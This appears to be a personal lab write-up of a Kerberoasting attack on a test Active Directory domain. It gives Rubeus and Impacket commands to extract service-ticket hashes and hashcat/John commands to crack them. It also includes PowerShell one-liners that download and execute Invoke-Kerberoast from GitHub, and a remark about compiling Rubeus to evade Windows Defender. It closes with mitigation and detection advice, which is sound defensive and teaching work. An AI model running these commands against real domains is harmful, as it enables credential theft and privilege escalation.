TL;DR short writeup of how to perform Kerberoasting on a sample service account, requiring only domain user access and Rubeus.exe on Windows [or Impacket on Kali, shown in a footnote].
Please note, I’m not terribly creative or original. All this info is available elsewhere in bits and pieces. This is simply my notes from putting it together to perform Kerberoasting in the lab.
Background:
‘Kerberoasting’ is an oldie but a goodie. Given the existence of a service account, lack of best practices, and the ability to run Rubeus on a domain joined workstation it still works. It is a tactic that continues to be used as it only requires access as a lowly domain user and the actual cracking is performed offline, so there’s no risk of locking out an account or raising alerts.
The theory is included in most cybersecurity courses and certifications, so I won’t re-invent the wheel there. Suffice to say that the tactic requests a service from AD, grabs the resulting Ticket Granting Service (TGS) ticket, then cracks the hash of the service offline. This is due to TGS tickets being encrypted with the service account’s NTLM hash.
Attackers and testers alike would use Kerberoasting after they have gained access to a domain user’s account. Phishing and password spraying are two common methods for that. The only part of Kerberoasting that actually needs to be run on the domain user’s account and/or workstation is Rubeus. The tool only requires domain user level access and can be modified before being compiled, so it can be used to evade Windows Defender.
Tools:
There is a bullet list of pre-reqs for this, followed by how to set it all up, and finally the actual Kerberoast.
- RSAT (nice to have, but not absolutely necessary)
- BloodHound (also nice to have, but not absolutely necessary)
- Redistributable 3.5
- Visual Studio 2019 Community
- Rubeus
- John the Ripper
For simplicity’s sake I ran the entire process off a domain joined Windows 10 VM, the same VM I used in the BloodHound writeup. This VM was already joined to the domain corp.local, running off Paramount Defenses’s Server 2019 VM (available from: https://blog.paramountdefenses.com/2020/06/active-directory-security-lab-virtual-machine.html).
Recon:
I had thought that their VM with the pre-built domain corp.local would already have a service account for Kerberoasting to target. That assumption turned out to be incorrect, but not because service accounts did not exist. There are seven accounts in a group aptly named ‘Privileged Service Accounts’.
However these service accounts do not have Service Principal Names (SPNs) set:
Hence I simply borrowed Sean Metcalf’s excellent idea and created a honeypot account aptly named Kerberoast.Honeypot. Simply create it just like any other user account, then:
Set-ADUser -Identity Kerberoast.Honeypot -ServicePrincipalNames @{Add=’MySVC/corp.local’}
Next run SharpHound:
Upload the resulting data file into BloodHound, pull up the Analysis tab, and run the pre-built query for ‘List all Kerberoastable Accounts’.
Next download and install Redistributable 3.5, available from https://www.microsoft.com/en-us/download/details.aspx?id=65
Download and install Visual Studio 2019 Community, available from https://visualstudio.microsoft.com/vs/ . Ensure that following installation of the main program you select the modules .Net desktop development and Desktop development with C++.
Next download the Rubeus code from https://github.com/GhostPack/Rubeus
Simply double click the *.sln file located in <location Rebues saved to>\Rubeus-master\Rubeus-master to open it in Visual Studio, then hit the green Start button in the middle of the toolbar. This will create the executable Rubeus.exe in <save location>\Rubeus-master\Rubeus-master\Rubeus\bin\Debug.
The attack:
This brings us to the only part of the whole process that requires domain user access. While logged in to the domain, run
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
Note that Rubeus automatically finds the fake service account, grabs its hash, and puts it in the file hashes.kerberoast for later offline cracking. There used to be several PowerShell one liners for performing this task, however most of them are now automatically detected and blocked on a Windows 10 domain workstation with default settings. Examples include
powershell -ep bypass -c “IEX (New-Object System.Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerb-Hash0.txt”
or
$webreq = [System.Net.WebRequest]::Create(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1’); $resp=$webreq.GetResponse(); $respstream=$resp.GetResponseStream(); $reader=[System.IO.StreamReader]::new($respstream); $content=$reader.ReadToEnd(); IEX($content); Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerb-Hash0.txt
An attacker might run
‘.\Rubeus.exe kerberoast /format:hashcat > Hash1’
and then perform offline cracking with Hashcat from their system.
I ran the entire process off the same VM, so I used the first method and then simply fed the resulting file to John, using the popular rockyou.txt wordlist:
That’s it. We now have a service account, complete with password, while only requiring domain user access, a copy of Rubeus compiled to evade Windows Defender, and some offline cracking. If the service account is a member of a group that itself is a member of Domain Admins then the attacker could attempt to generate an infamous Golden Ticket.
To Windows Defender’s credit, it will flag and delete an unmodified compiled copy of Rubeus.
Mitigation:
As many sources point out, the best mitigation is to use long service account passwords and/or utilize group Managed Service Accounts (gMSA) rather than manually managing them. There is already lots of information out there on that, particularly Sean Metcalf’s howto (https://adsecurity.org/?p=3458), so again I won’t re-invent the wheel there.
Another mitigation tactic is to simply disable RC4_HMAC_MD5 for Kerberos. This can be set via GPO under
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options
This has to be thoroughly tested first to ensure it does not break anything in the network. It is also not a complete mitigation. It does not stop a kerberoast attack, nor does it stop hashcat from getting credentials. It does slow the attacker down as even given the same weak 12 character password that is contained in a common wordlist it takes hashcat 54 seconds instead of 1 second to crack it. Paired with strong passwords on service accounts that are changed regularly it is much more effective. Paired with gMSAs it should all but eliminate the chance of an attacker finding success.
Of course another mitigation is to follow least privilege and don’t just make service accounts members of Domain Admins. Vendors may recommend this as they just want the product to work without many support calls.
A further mitigation is detective measures. An decent IDS will flag the request from the attacker and show the traffic. If RC4_HMAC_MD5 is not disabled via GPO then impacket will request it so that the encryption is that much quicker to brute force offline. Snort picks up this behavior.
Security Onion ‘out of the box’ with a not yet updated Snort ruleset flagged it immediately. It simply mistook it for a different attack and labeled it as MS14–068.
Conclusion:
In summary, I’ve seen lots of cybersecurity courses talk about Kerberoasting in theory. I have not seen them demonstrate it. Hence I wanted to take the bits and pieces available out there on Google, put it all together in the lab, and ‘shoot the M4A1’ so to speak rather than just read about it, talk about it, and take a multiple choice test on it. The tactic dates back to at least 2014, but if one doesn’t follow best practices with service accounts then an attacker will still happily use the approach.
Footnote on performing Kerberoasting from Kali:
Kerberoasting can easily be performed from Kali as well, as long as it can connect to a DC in the targeted domain and the attacker knows a domain user’s login. Impacket can be downloaded from https://github.com/SecureAuthCorp/impacket. John and hashcat are included in Kali of course.
It helps to add the target domain to the etc/hosts file.
“<IP> <DC FQDN>”
Only two commands are required:
./GetUserSPNs.py -request <domain>/<user> -dc-ip <IP> -outputfile <filename>john <filename> --format=krb5tgs --wordlist=<wordlist>
Alternatively, the cracking can be performed in Hashcat:
hashcat -m 13100 hashes.kerberoast rockyou.txt -force
There is a very handy table showing the hash type mapped to the number for Hashcat here, along with what the hash looks like: https://hashcat.net/wiki/doku.php?id=example_hashes. For example 13100 is Kerberos 5 TGS-REP etype 23. 1000 is NTLM.
This table is invaluable if you are testing this attack method in the lab after disabling RC4_HMAC_MD5. Simply run the ‘GetUserSPNs.py’ as before, then:
hashcat -m 19700 hashes.kerberoast2 rockyou.txt -force
As seen below, disabling the lower level encryption slows the brute force down even given a weak password and a wordlist.
References:
https://www.tarlogic.com/en/blog/how-to-attack-kerberos/
https://deltarisk.com/blog/inside-kerberoasting-cracking-weak-network-service-account-passwords/
https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html#from-windows
https://www.pentestpartners.com/security-blog/how-to-kerberoast-like-a-boss/
https://www.qomplx.com/qomplx-knowledge-kerberoasting-attacks-explained/
https://adsecurity.org/?p=3513
https://4js.com/online_documentation/fjs-gas-2.50.02-manual-html/c_gas_howto_kerberos_auth_016.html